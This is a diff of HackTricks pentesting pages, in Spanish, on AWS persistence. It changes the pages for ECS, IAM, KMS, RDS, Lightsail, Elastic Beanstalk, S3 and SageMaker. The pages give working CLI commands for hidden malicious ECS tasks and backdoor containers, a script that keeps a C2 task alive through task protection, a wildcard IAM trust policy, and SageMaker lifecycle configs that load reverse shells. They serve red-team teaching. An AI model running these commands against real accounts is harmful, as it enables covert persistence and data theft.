-# AWS - Persistencia en ECS
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## ECS
-
-Para más información, consulta:
-
-{{#ref}}
-../aws-services/aws-ecs-enum.md
-{{#endref}}
-
-### Tarea Periódica Oculta de ECS
-
-> [!NOTE]
-> TODO: Test
-
-Un atacante puede crear una tarea periódica oculta de ECS utilizando Amazon EventBridge para **programar la ejecución de una tarea maliciosa periódicamente**. Esta tarea puede realizar reconocimiento, exfiltrar datos o mantener persistencia en la cuenta de AWS.
-```bash
-# Create a malicious task definition
-aws ecs register-task-definition --family "malicious-task" --container-definitions '[
-{
-"name": "malicious-container",
-"image": "malicious-image:latest",
-"memory": 256,
-"cpu": 10,
-"essential": true
-}
-]'
-
-# Create an Amazon EventBridge rule to trigger the task periodically
-aws events put-rule --name "malicious-ecs-task-rule" --schedule-expression "rate(1 day)"
-
-# Add a target to the rule to run the malicious ECS task
-aws events put-targets --rule "malicious-ecs-task-rule" --targets '[
-{
-"Id": "malicious-ecs-task-target",
-"Arn": "arn:aws:ecs:region:account-id:cluster/your-cluster",
-"RoleArn": "arn:aws:iam::account-id:role/your-eventbridge-role",
-"EcsParameters": {
-"TaskDefinitionArn": "arn:aws:ecs:region:account-id:task-definition/malicious-task",
-"TaskCount": 1
-}
-}
-]'
-```
-### Contenedor de puerta trasera en la definición de tarea ECS existente
-
-> [!NOTE]
-> TODO: Probar
-
-Un atacante puede agregar un **contenedor de puerta trasera sigiloso** en una definición de tarea ECS existente que se ejecute junto a contenedores legítimos. El contenedor de puerta trasera puede ser utilizado para persistencia y realizar actividades maliciosas.
-```bash
-# Update the existing task definition to include the backdoor container
-aws ecs register-task-definition --family "existing-task" --container-definitions '[
-{
-"name": "legitimate-container",
-"image": "legitimate-image:latest",
-"memory": 256,
-"cpu": 10,
-"essential": true
-},
-{
-"name": "backdoor-container",
-"image": "malicious-image:latest",
-"memory": 256,
-"cpu": 10,
-"essential": false
-}
-]'
-```
-### Servicio ECS No Documentado
-
-> [!NOTE]
-> TODO: Probar
-
-Un atacante puede crear un **servicio ECS no documentado** que ejecute una tarea maliciosa. Al establecer el número deseado de tareas a un mínimo y deshabilitar el registro, se vuelve más difícil para los administradores notar el servicio malicioso.
-```bash
-# Create a malicious task definition
-aws ecs register-task-definition --family "malicious-task" --container-definitions '[
-{
-"name": "malicious-container",
-"image": "malicious-image:latest",
-"memory": 256,
-"cpu": 10,
-"essential": true
-}
-]'
-
-# Create an undocumented ECS service with the malicious task definition
-aws ecs create-service --service-name "undocumented-service" --task-definition "malicious-task" --desired-count 1 --cluster "your-cluster"
-```
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence/README.md

@@ -0,0 +1,151 @@
+# AWS - ECS Persistence
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## ECS
+
+Para más información consulta:
+
+{{#ref}}
+../../aws-services/aws-ecs-enum.md
+{{#endref}}
+
+### Hidden Periodic ECS Task
+
+> [!NOTE]
+> TODO: Test
+
+Un atacante puede crear una tarea ECS periódica oculta usando Amazon EventBridge para **programar la ejecución periódica de una tarea maliciosa**. Esta tarea puede realizar reconnaissance, exfiltrate data, o mantener persistence en la cuenta de AWS.
+```bash
+# Create a malicious task definition
+aws ecs register-task-definition --family "malicious-task" --container-definitions '[
+{
+"name": "malicious-container",
+"image": "malicious-image:latest",
+"memory": 256,
+"cpu": 10,
+"essential": true
+}
+]'
+
+# Create an Amazon EventBridge rule to trigger the task periodically
+aws events put-rule --name "malicious-ecs-task-rule" --schedule-expression "rate(1 day)"
+
+# Add a target to the rule to run the malicious ECS task
+aws events put-targets --rule "malicious-ecs-task-rule" --targets '[
+{
+"Id": "malicious-ecs-task-target",
+"Arn": "arn:aws:ecs:region:account-id:cluster/your-cluster",
+"RoleArn": "arn:aws:iam::account-id:role/your-eventbridge-role",
+"EcsParameters": {
+"TaskDefinitionArn": "arn:aws:ecs:region:account-id:task-definition/malicious-task",
+"TaskCount": 1
+}
+}
+]'
+```
+### Backdoor Container in Existing ECS Task Definition
+
+> [!NOTE]
+> TODO: Probar
+
+Un atacante puede añadir un **stealthy backdoor container** en una ECS task definition existente que se ejecuta junto a contenedores legítimos. El backdoor container puede utilizarse para persistence y para realizar actividades maliciosas.
+```bash
+# Update the existing task definition to include the backdoor container
+aws ecs register-task-definition --family "existing-task" --container-definitions '[
+{
+"name": "legitimate-container",
+"image": "legitimate-image:latest",
+"memory": 256,
+"cpu": 10,
+"essential": true
+},
+{
+"name": "backdoor-container",
+"image": "malicious-image:latest",
+"memory": 256,
+"cpu": 10,
+"essential": false
+}
+]'
+```
+### Servicio ECS no documentado
+
+> [!NOTE]
+> TODO: Probar
+
+Un atacante puede crear un **servicio ECS no documentado** que ejecuta una task maliciosa. Al establecer el número deseado de tasks al mínimo y deshabilitar el logging, resulta más difícil para los administradores detectar el servicio malicioso.
+```bash
+# Create a malicious task definition
+aws ecs register-task-definition --family "malicious-task" --container-definitions '[
+{
+"name": "malicious-container",
+"image": "malicious-image:latest",
+"memory": 256,
+"cpu": 10,
+"essential": true
+}
+]'
+
+# Create an undocumented ECS service with the malicious task definition
+aws ecs create-service --service-name "undocumented-service" --task-definition "malicious-task" --desired-count 1 --cluster "your-cluster"
+```
+### ECS Persistence via Task Scale-In Protection (UpdateTaskProtection)
+
+Abusar de ecs:UpdateTaskProtection para evitar que las tareas del servicio sean detenidas por eventos de scale‑in y rolling deployments. Al extender continuamente la protección, un atacante puede mantener una tarea de larga duración en ejecución (para C2 o recolección de datos) incluso si los defensores reducen desiredCount o envían nuevas revisiones de tarea.
+
+Steps to reproduce in us-east-1:
+```bash
+# 1) Cluster (create if missing)
+CLUSTER=$(aws ecs list-clusters --query 'clusterArns[0]' --output text 2>/dev/null)
+[ -z "$CLUSTER" -o "$CLUSTER" = "None" ] && CLUSTER=$(aws ecs create-cluster --cluster-name ht-ecs-persist --query 'cluster.clusterArn' --output text)
+
+# 2) Minimal backdoor task that just sleeps (Fargate/awsvpc)
+cat > /tmp/ht-persist-td.json << 'JSON'
+{
+"family": "ht-persist",
+"networkMode": "awsvpc",
+"requiresCompatibilities": ["FARGATE"],
+"cpu": "256",
+"memory": "512",
+"containerDefinitions": [
+{"name": "idle","image": "public.ecr.aws/amazonlinux/amazonlinux:latest",
+"command": ["/bin/sh","-c","sleep 864000"]}
+]
+}
+JSON
+aws ecs register-task-definition --cli-input-json file:///tmp/ht-persist-td.json >/dev/null
+
+# 3) Create service (use default VPC public subnet + default SG)
+VPC=$(aws ec2 describe-vpcs --filters Name=isDefault,Values=true --query 'Vpcs[0].VpcId' --output text)
+SUBNET=$(aws ec2 describe-subnets --filters Name=vpc-id,Values=$VPC Name=map-public-ip-on-launch,Values=true --query 'Subnets[0].SubnetId' --output text)
+SG=$(aws ec2 describe-security-groups --filters Name=vpc-id,Values=$VPC Name=group-name,Values=default --query 'SecurityGroups[0].GroupId' --output text)
+aws ecs create-service --cluster "$CLUSTER" --service-name ht-persist-svc \
+--task-definition ht-persist --desired-count 1 --launch-type FARGATE \
+--network-configuration "awsvpcConfiguration={subnets=[$SUBNET],securityGroups=[$SG],assignPublicIp=ENABLED}"
+
+# 4) Get running task ARN
+TASK=$(aws ecs list-tasks --cluster "$CLUSTER" --service-name ht-persist-svc --desired-status RUNNING --query 'taskArns[0]' --output text)
+
+# 5) Enable scale-in protection for 24h and verify
+aws ecs update-task-protection --cluster "$CLUSTER" --tasks "$TASK" --protection-enabled --expires-in-minutes 1440
+aws ecs get-task-protection --cluster "$CLUSTER" --tasks "$TASK"
+
+# 6) Try to scale service to 0 (task should persist)
+aws ecs update-service --cluster "$CLUSTER" --service ht-persist-svc --desired-count 0
+aws ecs list-tasks --cluster "$CLUSTER" --service-name ht-persist-svc --desired-status RUNNING
+
+# Optional: rolling deployment blocked by protection
+aws ecs register-task-definition --cli-input-json file:///tmp/ht-persist-td.json >/dev/null
+aws ecs update-service --cluster "$CLUSTER" --service ht-persist-svc --task-definition ht-persist --force-new-deployment
+aws ecs describe-services --cluster "$CLUSTER" --services ht-persist-svc --query 'services[0].events[0]'
+
+# 7) Cleanup
+aws ecs update-task-protection --cluster "$CLUSTER" --tasks "$TASK" --no-protection-enabled || true
+aws ecs update-service --cluster "$CLUSTER" --service ht-persist-svc --desired-count 0 || true
+aws ecs delete-service --cluster "$CLUSTER" --service ht-persist-svc --force || true
+aws ecs deregister-task-definition --task-definition ht-persist || true
+```
+Impacto: Una tarea protegida permanece RUNNING a pesar de desiredCount=0 y bloquea los reemplazos durante nuevos despliegues, permitiendo una persistencia sigilosa y de larga duración dentro del servicio ECS.
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md

@@ -1,21 +0,0 @@
-# AWS - EFS Persistence
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## EFS
-
-Para más información consulta:
-
-{{#ref}}
-../aws-services/aws-efs-enum.md
-{{#endref}}
-
-### Modificar la Política de Recursos / Grupos de Seguridad
-
-Modificando la **política de recursos y/o grupos de seguridad** puedes intentar persistir tu acceso al sistema de archivos.
-
-### Crear Punto de Acceso
-
-Podrías **crear un punto de acceso** (con acceso root a `/`) accesible desde un servicio donde hayas implementado **otra persistencia** para mantener el acceso privilegiado al sistema de archivos.
-
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence/README.md

@@ -0,0 +1,21 @@
+# AWS - EFS Persistence
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## EFS
+
+Para más información consulta:
+
+{{#ref}}
+../../aws-services/aws-efs-enum.md
+{{#endref}}
+
+### Modificar Resource Policy / Security Groups
+
+Al modificar la **resource policy y/o security groups** puedes intentar persistir tu acceso en el sistema de archivos.
+
+### Crear Access Point
+
+Podrías **crear un access point** (con acceso root a `/`) accesible desde un servicio donde hayas implementado **otra persistencia** para mantener acceso privilegiado al sistema de archivos.
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence/README.md

@@ -1,35 +1,35 @@
-# AWS - Elastic Beanstalk Persistence
+# AWS - Elastic Beanstalk Persistencia
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## Elastic Beanstalk
 
-Para más información, consulta:
+Para más información consulta:
 
 {{#ref}}
-../aws-services/aws-elastic-beanstalk-enum.md
+../../aws-services/aws-elastic-beanstalk-enum.md
 {{#endref}}
 
-### Persistencia en la Instancia
+### Persistencia en la instancia
 
-Con el fin de mantener la persistencia dentro de la cuenta de AWS, se podría **introducir algún mecanismo de persistencia dentro de la instancia** (tarea programada, clave ssh...) para que el atacante pueda acceder a ella y robar las **credenciales del rol IAM desde el servicio de metadatos**.
+Para mantener persistencia dentro de la cuenta de AWS, se puede introducir algún **mecanismo de persistencia dentro de la instancia** (cron job, ssh key...) para que el atacante pueda acceder a ella y robar las credenciales del IAM role desde el metadata service.
 
-### Puerta trasera en la Versión
+### Backdoor en la versión
 
-Un atacante podría insertar una puerta trasera en el código dentro del repositorio S3 para que siempre ejecute su puerta trasera y el código esperado.
+Un atacante podría insertar un backdoor en el código dentro del repo S3 para que siempre ejecute su backdoor además del código esperado.
 
-### Nueva versión con puerta trasera
+### Nueva versión backdoored
 
-En lugar de cambiar el código en la versión actual, el atacante podría desplegar una nueva versión de la aplicación con puerta trasera.
+En lugar de cambiar el código en la versión actual, el atacante podría desplegar una nueva versión backdoored de la aplicación.
 
-### Abusando de los Ganchos del Ciclo de Vida de Recursos Personalizados
+### Abusar de Custom Resource Lifecycle Hooks
 
 > [!NOTE]
-> TODO: Test
+> TODO: Probar
 
-Elastic Beanstalk proporciona ganchos de ciclo de vida que te permiten ejecutar scripts personalizados durante la provisión y terminación de instancias. Un atacante podría **configurar un gancho de ciclo de vida para ejecutar periódicamente un script que exfiltra datos o mantiene el acceso a la cuenta de AWS**.
+Elastic Beanstalk proporciona lifecycle hooks que permiten ejecutar scripts personalizados durante el aprovisionamiento y la terminación de la instancia. Un atacante podría **configurar un lifecycle hook para ejecutar periódicamente un script que exfiltre datos o mantenga el acceso a la cuenta de AWS**.
 ```bash
-bashCopy code# Attacker creates a script that exfiltrates data and maintains access
+# Attacker creates a script that exfiltrates data and maintains access
 echo '#!/bin/bash
 aws s3 cp s3://sensitive-data-bucket/data.csv /tmp/data.csv
 gzip /tmp/data.csv
@@ -72,4 +72,4 @@ Fn::GetAtt:
 # Attacker applies the new environment configuration
 aws elasticbeanstalk update-environment --environment-name my-env --option-settings Namespace="aws:elasticbeanstalk:customoption",OptionName="CustomConfigurationTemplate",Value="stealthy_lifecycle_hook.yaml"
 ```
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md

@@ -1,47 +0,0 @@
-# AWS - IAM Persistence
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## IAM
-
-Para más información accede a:
-
-{{#ref}}
-../aws-services/aws-iam-enum.md
-{{#endref}}
-
-### Persistencia Común de IAM
-
-- Crear un usuario
-- Agregar un usuario controlado a un grupo privilegiado
-- Crear claves de acceso (del nuevo usuario o de todos los usuarios)
-- Otorgar permisos adicionales a usuarios/grupos controlados (políticas adjuntas o políticas en línea)
-- Deshabilitar MFA / Agregar tu propio dispositivo MFA
-- Crear una situación de Cadena de Roles (más sobre esto a continuación en la persistencia de STS)
-
-### Políticas de Confianza de Rol de Puerta Trasera
-
-Podrías crear una puerta trasera en una política de confianza para poder asumirla para un recurso externo controlado por ti (o para todos):
-```json
-{
-"Version": "2012-10-17",
-"Statement": [
-{
-"Effect": "Allow",
-"Principal": {
-"AWS": ["*", "arn:aws:iam::123213123123:root"]
-},
-"Action": "sts:AssumeRole"
-}
-]
-}
-```
-### Versión de Política de Puerta Trasera
-
-Otorgar permisos de Administrador a una política que no sea su última versión (la última versión debe parecer legítima), luego asignar esa versión de la política a un usuario/grupo controlado.
-
-### Puerta Trasera / Crear Proveedor de Identidad
-
-Si la cuenta ya confía en un proveedor de identidad común (como Github), las condiciones de la confianza podrían ser aumentadas para que el atacante pueda abusar de ellas.
-
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence/README.md

@@ -0,0 +1,47 @@
+# AWS - IAM Persistencia
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## IAM
+
+Para más información consulta:
+
+{{#ref}}
+../../aws-services/aws-iam-enum.md
+{{#endref}}
+
+### Persistencia común de IAM
+
+- Crear un usuario
+- Añadir un usuario controlado a un grupo privilegiado
+- Crear access keys (del nuevo usuario o de todos los usuarios)
+- Conceder permisos extra a usuarios/grupos controlados (attached policies o inline policies)
+- Desactivar MFA / Añadir tu propio dispositivo MFA
+- Crear una situación de Role Chain Juggling (más abajo en STS persistence)
+
+### Backdoor Role Trust Policies
+
+Podrías backdoor una trust policy para poder asumirla desde un recurso externo controlado por ti (o para todos):
+```json
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Effect": "Allow",
+"Principal": {
+"AWS": ["*", "arn:aws:iam::123213123123:root"]
+},
+"Action": "sts:AssumeRole"
+}
+]
+}
+```
+### Backdoor Policy Version
+
+Otorga permisos de Administrator a una policy que no esté en su última versión (la última versión debe parecer legítima), luego asigna esa versión de la policy a un usuario o grupo controlado.
+
+### Backdoor / Create Identity Provider
+
+Si la cuenta ya confía en un proveedor de identidad común (por ejemplo Github), las condiciones de la confianza podrían ampliarse para que el atacante pueda abusar de ellas.
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md

@@ -1,37 +0,0 @@
-# AWS - KMS Persistence
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## KMS
-
-Para más información, consulta:
-
-{{#ref}}
-../aws-services/aws-kms-enum.md
-{{#endref}}
-
-### Conceder acceso a través de políticas de KMS
-
-Un atacante podría usar el permiso **`kms:PutKeyPolicy`** para **dar acceso** a una clave a un usuario bajo su control o incluso a una cuenta externa. Consulta la [**página de KMS Privesc**](../aws-privilege-escalation/aws-kms-privesc.md) para más información.
-
-### Grant eterno
-
-Los grants son otra forma de otorgar a un principal algunos permisos sobre una clave específica. Es posible dar un grant que permita a un usuario crear grants. Además, un usuario puede tener varios grants (incluso idénticos) sobre la misma clave.
-
-Por lo tanto, es posible que un usuario tenga 10 grants con todos los permisos. El atacante debería monitorear esto constantemente. Y si en algún momento se elimina 1 grant, se deberían generar otros 10.
-
-(Estamos usando 10 y no 2 para poder detectar que se eliminó un grant mientras el usuario aún tiene algún grant)
-```bash
-# To generate grants, generate 10 like this one
-aws kms create-grant \
---key-id <key-id> \
---grantee-principal <user_arn> \
---operations "CreateGrant" "Decrypt"
-
-# To monitor grants
-aws kms list-grants --key-id <key-id>
-```
-> [!NOTE]
-> Un grant puede otorgar permisos solo desde esto: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations)
-
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence/README.md

@@ -0,0 +1,37 @@
+# AWS - KMS Persistencia
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## KMS
+
+Para más información consulta:
+
+{{#ref}}
+../../aws-services/aws-kms-enum.md
+{{#endref}}
+
+### Grant acceso vía políticas de KMS
+
+Un atacante podría usar el permiso **`kms:PutKeyPolicy`** para **dar acceso** a una key a un usuario bajo su control o incluso a una cuenta externa. Check the [**KMS Privesc page**](../../aws-privilege-escalation/aws-kms-privesc/README.md) for more information.
+
+### Eternal Grant
+
+Los grants son otra forma de otorgar a un principal ciertos permisos sobre una key específica. Es posible crear un grant que permita a un usuario crear grants. Además, un usuario puede tener varios grants (incluso idénticos) sobre la misma key.
+
+Por lo tanto, es posible que un usuario tenga 10 grants con todos los permisos. El atacante debería monitorizar esto constantemente. Y si en algún momento se elimina 1 grant, deberían generarse otros 10.
+
+(Estamos usando 10 y no 2 para poder detectar que se eliminó un grant mientras el usuario todavía tiene algún grant)
+```bash
+# To generate grants, generate 10 like this one
+aws kms create-grant \
+--key-id <key-id> \
+--grantee-principal <user_arn> \
+--operations "CreateGrant" "Decrypt"
+
+# To monitor grants
+aws kms list-grants --key-id <key-id>
+```
+> [!NOTE]
+> Un grant puede otorgar permisos únicamente a partir de esto: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations)
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md

@@ -1,33 +0,0 @@
-# AWS - Persistencia en Lightsail
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Lightsail
-
-Para más información, consulta:
-
-{{#ref}}
-../aws-services/aws-lightsail-enum.md
-{{#endref}}
-
-### Descargar claves SSH de la instancia y contraseñas de la base de datos
-
-Probablemente no se cambiarán, así que tenerlas es una buena opción para la persistencia.
-
-### Instancias con puerta trasera
-
-Un atacante podría acceder a las instancias y ponerles una puerta trasera:
-
-- Usando un **rootkit** tradicional, por ejemplo
-- Agregando una nueva **clave SSH pública**
-- Exponiendo un puerto con port knocking con una puerta trasera
-
-### Persistencia DNS
-
-Si los dominios están configurados:
-
-- Crea un subdominio apuntando a tu IP para que tengas un **subdomain takeover**
-- Crea un registro **SPF** que te permita enviar **emails** desde el dominio
-- Configura la **IP del dominio principal a la tuya** y realiza un **MitM** desde tu IP a las legítimas
-
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence/README.md

@@ -0,0 +1,33 @@
+# AWS - Lightsail Persistencia
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Lightsail
+
+Para más información consulta:
+
+{{#ref}}
+../../aws-services/aws-lightsail-enum.md
+{{#endref}}
+
+### Descargar Instance SSH keys & DB passwords
+
+Probablemente no serán cambiadas, así que simplemente tenerlas es una buena opción para persistencia
+
+### Backdoor Instances
+
+Un atacante podría obtener acceso a las instancias e instalar una backdoor en ellas:
+
+- Usando un **rootkit** tradicional, por ejemplo
+- Agregar una nueva **public SSH key**
+- Exponer un puerto con port knocking y una backdoor
+
+### Persistencia en DNS
+
+Si hay dominios configurados:
+
+- Crear un subdominio apuntando a tu IP para tener un **subdomain takeover**
+- Crear un registro **SPF** que te permita enviar **correos electrónicos** desde el dominio
+- Configurar la **IP del dominio principal a la tuya** y realizar un **MitM** desde tu IP hacia las legítimas
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md

@@ -1,27 +0,0 @@
-# AWS - Persistencia en RDS
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## RDS
-
-Para más información, consulta:
-
-{{#ref}}
-../aws-services/aws-relational-database-rds-enum.md
-{{#endref}}
-
-### Hacer que la instancia sea accesible públicamente: `rds:ModifyDBInstance`
-
-Un atacante con este permiso puede **modificar una instancia de RDS existente para habilitar la accesibilidad pública**.
-```bash
-aws rds modify-db-instance --db-instance-identifier target-instance --publicly-accessible --apply-immediately
-```
-### Crear un usuario administrador dentro de la DB
-
-Un atacante podría **crear un usuario dentro de la DB** para que, incluso si se modifica la contraseña del usuario maestro, **no pierda el acceso** a la base de datos.
-
-### Hacer la instantánea pública
-```bash
-aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --attribute-name restore --values-to-add all
-```
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence/README.md

@@ -0,0 +1,27 @@
+# AWS - RDS Persistencia
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## RDS
+
+Para más información, consulta:
+
+{{#ref}}
+../../aws-services/aws-relational-database-rds-enum.md
+{{#endref}}
+
+### Hacer la instancia accesible públicamente: `rds:ModifyDBInstance`
+
+Un atacante con este permiso puede **modificar una instancia RDS existente para habilitar el acceso público**.
+```bash
+aws rds modify-db-instance --db-instance-identifier target-instance --publicly-accessible --apply-immediately
+```
+### Crear un usuario admin dentro de la DB
+
+Un atacante podría simplemente **crear un usuario dentro de la DB** de modo que, incluso si se modifica la contraseña del usuario master, él **no pierde el acceso** a la base de datos.
+
+### Hacer público el snapshot
+```bash
+aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --attribute-name restore --values-to-add all
+```
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md

@@ -1,25 +0,0 @@
-# AWS - S3 Persistence
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## S3
-
-Para más información, consulta:
-
-{{#ref}}
-../aws-services/aws-s3-athena-and-glacier-enum.md
-{{#endref}}
-
-### KMS Client-Side Encryption
-
-Cuando se completa el proceso de cifrado, el usuario utilizará la API de KMS para generar una nueva clave (`aws kms generate-data-key`) y **almacenará la clave cifrada generada dentro de los metadatos** del archivo ([ejemplo de código en python](https://aioboto3.readthedocs.io/en/latest/cse.html#how-it-works-kms-managed-keys)) para que cuando ocurra la desencriptación, pueda desencriptarla usando KMS nuevamente:
-
-<figure><img src="../../../images/image (226).png" alt=""><figcaption></figcaption></figure>
-
-Por lo tanto, un atacante podría obtener esta clave de los metadatos y desencriptar con KMS (`aws kms decrypt`) para obtener la clave utilizada para cifrar la información. De esta manera, el atacante tendrá la clave de cifrado y si esa clave se reutiliza para cifrar otros archivos, podrá usarla.
-
-### Using S3 ACLs
-
-Aunque generalmente las ACL de los buckets están deshabilitadas, un atacante con suficientes privilegios podría abusar de ellas (si están habilitadas o si el atacante puede habilitarlas) para mantener el acceso al bucket de S3.
-
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence/README.md

@@ -0,0 +1,25 @@
+# AWS - S3 Persistence
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## S3
+
+Para más información consulta:
+
+{{#ref}}
+../../aws-services/aws-s3-athena-and-glacier-enum.md
+{{#endref}}
+
+### KMS Client-Side Encryption
+
+Cuando se completa el proceso de encriptación, el usuario usará la API de KMS para generar una nueva clave (`aws kms generate-data-key`) y él **almacenará la clave cifrada generada dentro de los metadatos** del archivo ([python code example](https://aioboto3.readthedocs.io/en/latest/cse.html#how-it-works-kms-managed-keys)) de modo que, cuando ocurra la desencriptación, pueda descifrarla usando KMS de nuevo:
+
+<figure><img src="../../../images/image (226).png" alt=""><figcaption></figcaption></figure>
+
+Por lo tanto, un atacante podría obtener esta clave de los metadatos y descifrarla con KMS (`aws kms decrypt`) para obtener la clave usada para cifrar la información. De este modo el atacante tendrá la clave de cifrado y, si esa clave se reutiliza para cifrar otros archivos, podrá usarla.
+
+### Using S3 ACLs
+
+Aunque normalmente los ACLs de los buckets están deshabilitados, un atacante con privilegios suficientes podría abusar de ellos (si están habilitados o si el atacante puede habilitarlos) para mantener el acceso al bucket de S3.
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence.md

@@ -1,158 +0,0 @@
-# Aws Sagemaker Persistence
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Overview of Persistence Techniques
-
-Esta sección describe métodos para obtener persistencia en SageMaker abusando de las Configuraciones de Ciclo de Vida (LCCs), incluyendo shells inversos, trabajos cron, robo de credenciales a través de IMDS y puertas traseras SSH. Estos scripts se ejecutan con el rol IAM de la instancia y pueden persistir a través de reinicios. La mayoría de las técnicas requieren acceso a la red saliente, pero el uso de servicios en el plano de control de AWS aún puede permitir el éxito si el entorno está en modo "solo VPC".
-#### Nota: Las instancias de cuaderno de SageMaker son esencialmente instancias EC2 gestionadas configuradas específicamente para cargas de trabajo de aprendizaje automático.
-
-## Required Permissions
-* Notebook Instances:
-```
-sagemaker:CreateNotebookInstanceLifecycleConfig
-sagemaker:UpdateNotebookInstanceLifecycleConfig
-sagemaker:CreateNotebookInstance
-sagemaker:UpdateNotebookInstance
-```
-* Aplicaciones de Studio:
-```
-sagemaker:CreateStudioLifecycleConfig
-sagemaker:UpdateStudioLifecycleConfig
-sagemaker:UpdateUserProfile
-sagemaker:UpdateSpace
-sagemaker:UpdateDomain
-```
-## Configurar la Configuración del Ciclo de Vida en Instancias de Notebook
-
-### Ejemplo de Comandos de AWS CLI:
-```bash
-# Create Lifecycle Configuration*
-
-aws sagemaker create-notebook-instance-lifecycle-config \
---notebook-instance-lifecycle-config-name attacker-lcc \
---on-start Content=$(base64 -w0 reverse_shell.sh)
-
-
-# Attach Lifecycle Configuration to Notebook Instance*
-
-aws sagemaker update-notebook-instance \
---notebook-instance-name victim-instance \
---lifecycle-config-name attacker-lcc
-```
-## Configuración del Ciclo de Vida en SageMaker Studio
-
-Las Configuraciones del Ciclo de Vida se pueden adjuntar a varios niveles y a diferentes tipos de aplicaciones dentro de SageMaker Studio.
-
-### Nivel de Dominio de Studio (Todos los Usuarios)
-```bash
-# Create Studio Lifecycle Configuration*
-
-aws sagemaker create-studio-lifecycle-config \
---studio-lifecycle-config-name attacker-studio-lcc \
---studio-lifecycle-config-app-type JupyterServer \
---studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)
-
-
-# Apply LCC to entire Studio Domain*
-
-aws sagemaker update-domain --domain-id <DOMAIN_ID> --default-user-settings '{
-"JupyterServerAppSettings": {
-"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
-}
-}'
-```
-### Nivel de Espacio de Estudio (Espacios Individuales o Compartidos)
-```bash
-# Update SageMaker Studio Space to attach LCC*
-
-aws sagemaker update-space --domain-id <DOMAIN_ID> --space-name <SPACE_NAME> --space-settings '{
-"JupyterServerAppSettings": {
-"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
-}
-}'
-```
-## Tipos de configuraciones del ciclo de vida de la aplicación Studio
-
-Las configuraciones del ciclo de vida se pueden aplicar específicamente a diferentes tipos de aplicaciones de SageMaker Studio:
-* JupyterServer: Ejecuta scripts durante el inicio del servidor Jupyter, ideal para mecanismos de persistencia como shells inversos y trabajos cron.
-* KernelGateway: Se ejecuta durante el lanzamiento de la aplicación del gateway de kernel, útil para la configuración inicial o el acceso persistente.
-* CodeEditor: Se aplica al Editor de Código (Code-OSS), habilitando scripts que se ejecutan al inicio de las sesiones de edición de código.
-
-### Comando de ejemplo para cada tipo:
-
-### JupyterServer
-```bash
-aws sagemaker create-studio-lifecycle-config \
---studio-lifecycle-config-name attacker-jupyter-lcc \
---studio-lifecycle-config-app-type JupyterServer \
---studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)
-```
-### KernelGateway
-```bash
-aws sagemaker create-studio-lifecycle-config \
---studio-lifecycle-config-name attacker-kernelgateway-lcc \
---studio-lifecycle-config-app-type KernelGateway \
---studio-lifecycle-config-content $(base64 -w0 kernel_persist.sh)
-```
-### CodeEditor
-```bash
-aws sagemaker create-studio-lifecycle-config \
---studio-lifecycle-config-name attacker-codeeditor-lcc \
---studio-lifecycle-config-app-type CodeEditor \
---studio-lifecycle-config-content $(base64 -w0 editor_persist.sh)
-```
-### Información Crítica:
-* Adjuntar LCCs a nivel de dominio o espacio impacta a todos los usuarios o aplicaciones dentro del alcance.
-* Requiere permisos más altos (sagemaker:UpdateDomain, sagemaker:UpdateSpace) que típicamente son más factibles a nivel de espacio que a nivel de dominio.
